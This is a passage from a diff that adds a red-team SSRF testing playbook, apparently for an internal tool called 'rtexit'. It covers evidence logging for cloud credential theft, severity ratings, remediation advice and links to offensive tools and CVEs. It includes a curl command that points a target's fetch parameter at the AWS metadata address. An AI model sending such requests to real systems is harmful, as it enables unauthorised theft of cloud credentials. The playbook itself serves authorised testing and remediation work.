1387
|
+
--type oob_callback \
|
|
1388
|
+
--description "DNS callback received at interactsh: ssrf-probe.oast.fun" \
|
|
1389
|
+
--timestamp "$(date -u +%Y-%m-%dT%H:%M:%SZ)"
|
|
1390
|
+
|
|
1391
|
+
# Record AWS credential theft
|
|
1392
|
+
rtexit evidence add \
|
|
1393
|
+
--finding-id FINDING_ID \
|
|
1394
|
+
--type aws_credentials \
|
|
1395
|
+
--file /tmp/imds_response.json \
|
|
1396
|
+
--note "IAM role ec2-prod-role credentials retrieved via SSRF"
|
|
1397
|
+
|
|
1398
|
+
# Mark finding as exploited (full chain)
|
|
1399
|
+
rtexit finding update FINDING_ID \
|
|
1400
|
+
--status exploited \
|
|
1401
|
+
--severity critical \
|
|
1402
|
+
--impact "Full AWS account access achieved"
|
|
1403
|
+
|
|
1404
|
+
# Generate finding report
|
|
1405
|
+
rtexit report generate --finding-id FINDING_ID --format markdown
|
|
1406
|
+
|
|
1407
|
+
# Bulk import SSRF scan results
|
|
1408
|
+
rtexit import ssrf-scan-results /tmp/ssrf_scan_output.json
|
|
1409
|
+
|
|
1410
|
+
# Tag finding for inclusion in executive summary
|
|
1411
|
+
rtexit finding tag FINDING_ID --tags "cloud,credential-theft,critical-path"
|
|
1412
|
+
```
|
|
1413
|
+
|
|
1414
|
+
### Screenshot Evidence Collection
|
|
1415
|
+
|
|
1416
|
+
```bash
|
|
1417
|
+
# Capture SSRF request/response pair in Burp
|
|
1418
|
+
# Export as base64 and attach to finding
|
|
1419
|
+
burp-export-request | base64 > /tmp/ssrf_burp_req.b64
|
|
1420
|
+
rtexit evidence add --finding-id FINDING_ID --type screenshot --file /tmp/ssrf_screenshot.png
|
|
1421
|
+
|
|
1422
|
+
# Use curl verbose output as evidence
|
|
1423
|
+
curl -v "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/" 2>&1 | \
|
|
1424
|
+
tee /tmp/ssrf_curl_evidence.txt
|
|
1425
|
+
|
|
1426
|
+
rtexit evidence add \
|
|
1427
|
+
--finding-id FINDING_ID \
|
|
1428
|
+
--type raw_output \
|
|
1429
|
+
--file /tmp/ssrf_curl_evidence.txt
|
|
1430
|
+
```
|
|
1431
|
+
|
|
1432
|
+
---
|
|
1433
|
+
|
|
1434
|
+
## 9. Output and Documentation Instructions
|
|
1435
|
+
|
|
1436
|
+
### Minimum Required Evidence for Each SSRF Finding
|
|
1437
|
+
|
|
1438
|
+
1. **HTTP Request/Response Pair** — The exact request triggering SSRF and the server's response showing internal content or OOB callback.
|
|
1439
|
+
|
|
1440
|
+
2. **Out-of-Band Callback Log** — For blind SSRF, export the DNS/HTTP log from interactsh or Burp Collaborator showing the server-side request originated from the target IP.
|
|
1441
|
+
|
|
1442
|
+
3. **Exploitation Proof** — For cloud credential theft: the full JSON response from IMDS (redact the actual keys in the final report, but store originals in RTExit encrypted vault). For Redis RCE: screenshot of RCE output.
|
|
1443
|
+
|
|
1444
|
+
4. **Impact Assessment** — For credential theft, list the IAM role, policies attached, and resources accessed. Include `aws sts get-caller-identity` output.
|
|
1445
|
+
|
|
1446
|
+
### Severity Classification
|
|
1447
|
+
|
|
1448
|
+
| Condition | Severity |
|
|
1449
|
+
|-----------|----------|
|
|
1450
|
+
| Cloud credential theft (AWS/GCP/Azure) | Critical |
|
|
1451
|
+
| RCE via Gopher/Redis chain | Critical |
|
|
1452
|
+
| Access to internal admin APIs without auth | High |
|
|
1453
|
+
| Internal network enumeration (no sensitive data) | High |
|
|
1454
|
+
| Blind SSRF with OOB callback only | Medium |
|
|
1455
|
+
| SSRF to non-sensitive localhost port | Medium |
|
|
1456
|
+
| SSRF with strict allowlist partially bypassed | Low |
|
|
1457
|
+
|
|
1458
|
+
### Report Writing Notes
|
|
1459
|
+
|
|
1460
|
+
- Always include the full reproduction steps — another operator must be able to reproduce.
|
|
1461
|
+
- Redact actual secret values in the shared report; store originals in the RTExit encrypted evidence vault.
|
|
1462
|
+
- Note whether IMDSv1 or IMDSv2 was exploited (IMDSv1 indicates a misconfiguration).
|
|
1463
|
+
- For GCP/Azure, note whether the required headers were forwarded (indicates broader header injection issue).
|
|
1464
|
+
- Include remediation priority — SSRF-to-cloud-credentials is a P0 emergency fix.
|
|
1465
|
+
|
|
1466
|
+
### Remediation Recommendations to Include
|
|
1467
|
+
|
|
1468
|
+
```
|
|
1469
|
+
1. Implement a strict allowlist of permitted fetch destinations (not a blocklist).
|
|
1470
|
+
2. Resolve DNS before validating the IP — validate after resolution, not before.
|
|
1471
|
+
3. Block RFC1918 ranges: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16.
|
|
1472
|
+
4. Block link-local range: 169.254.0.0/16.
|
|
1473
|
+
5. Block loopback: 127.0.0.0/8, [::1].
|
|
1474
|
+
6. Enforce IMDSv2 on all EC2 instances (PUT-only token flow).
|
|
1475
|
+
7. Use a dedicated egress proxy for all server-side HTTP fetches.
|
|
1476
|
+
8. Disable gopher://, dict://, file:// schemes in HTTP client configuration.
|
|
1477
|
+
9. Do not follow redirects in server-side fetch operations, or re-validate after redirect.
|
|
1478
|
+
10. Apply network-level controls: EC2 instance metadata firewall rules.
|
|
1479
|
+
```
|
|
1480
|
+
|
|
1481
|
+
---
|
|
1482
|
+
|
|
1483
|
+
## 10. Resources
|
|
1484
|
+
|
|
1485
|
+
### Tools
|
|
1486
|
+
|
|
1487
|
+
| Tool | URL | Purpose |
|
|
1488
|
+
|------|-----|---------|
|
|
1489
|
+
| interactsh | https://github.com/projectdiscovery/interactsh | Out-of-band blind SSRF detection |
|
|
1490
|
+
| SSRFmap | https://github.com/swisskyrepo/SSRFmap | Automated SSRF exploitation |
|
|
1491
|
+
| Gopherus | https://github.com/tarunkant/Gopherus | Gopher payload generator |
|
|
1492
|
+
| Singularity | https://github.com/nccgroup/singularity | DNS rebinding framework |
|
|
1493
|
+
| SSRF Sheriff | https://github.com/teknogeek/ssrf-sheriff | SSRF detection server |
|
|
1494
|
+
| Metabigor | https://github.com/j3ssie/metabigor | Recon tool with SSRF testing |
|
|
1495
|
+
| ffuf | https://github.com/ffuf/ffuf | Fast web fuzzer for SSRF parameter discovery |
|
|
1496
|
+
| gau | https://github.com/lc/gau | Fetch known URLs for parameter enumeration |
|
|
1497
|
+
| katana | https://github.com/projectdiscovery/katana | Web crawler for attack surface mapping |
|
|
1498
|
+
| whonow | https://github.com/brannondorsey/whonow | DNS rebinding attack server |
|
|
1499
|
+
|
|
1500
|
+
### References
|
|
1501
|
+
|
|
1502
|
+
- OWASP SSRF Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
|
|
1503
|
+
- PortSwigger SSRF Labs: https://portswigger.net/web-security/ssrf
|
|
1504
|
+
- HackTricks SSRF: https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery
|
|
1505
|
+
- PayloadsAllTheThings SSRF: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
|
|
1506
|
+
- AWS IMDSv2 Migration Guide: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html
|
|
1507
|
+
- GCP Metadata Server Docs: https://cloud.google.com/compute/docs/metadata/overview
|
|
1508
|
+
- Azure IMDS Docs: https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service
|
|
1509
|
+
- Redis Gopher RCE Research: https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
|
|
1510
|
+
- DNS Rebinding Explained: https://github.com/nccgroup/singularity/wiki/How-does-DNS-rebinding-work
|
|
1511
|
+
- SSRF in the Wild (Bug Bounty Reports): https://github.com/ngalongc/bug-bounty-reference#server-side-request-forgery-ssrf
|
|
1512
|
+
- Capital One Breach (SSRF + IMDS): https://krebsonsecurity.com/2019/07/capital-one-data-theft-impacts-106m-people/
|
|
1513
|
+
|
|
1514
|
+
### CVEs Relevant to SSRF Exploitation
|
|
1515
|
+
|
|
1516
|
+
- CVE-2021-26855 — Microsoft Exchange SSRF (ProxyLogon)
|
|
1517
|
+
- CVE-2019-11581 — Atlassian Jira SSRF
|
|
1518
|
+
- CVE-2020-14179 — Atlassian Jira SSRF (information disclosure)
|
|
1519
|
+
- CVE-2021-21975 — VMware vRealize Operations SSRF to RCE
|
|
1520
|
+
- CVE-2022-22954 — VMware Workspace ONE Access SSRF
|
|
1521
|
+
- CVE-2023-23752 — Joomla SSRF to authentication bypass
|
|
1522
|
+
|
|
1523
|
+
### Training Resources
|
|
1524
|
+
|
|
1525
|
+
- PortSwigger Web Security Academy — SSRF labs (free): https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost
|
|
1526
|
+
- TryHackMe SSRF room: https://tryhackme.com/room/ssrfqi
|
|
1527
|
+
- HackTheBox SSRF challenges: https://www.hackthebox.com
|
|
1528
|
+
- PentesterLab SSRF exercises: https://pentesterlab.com
|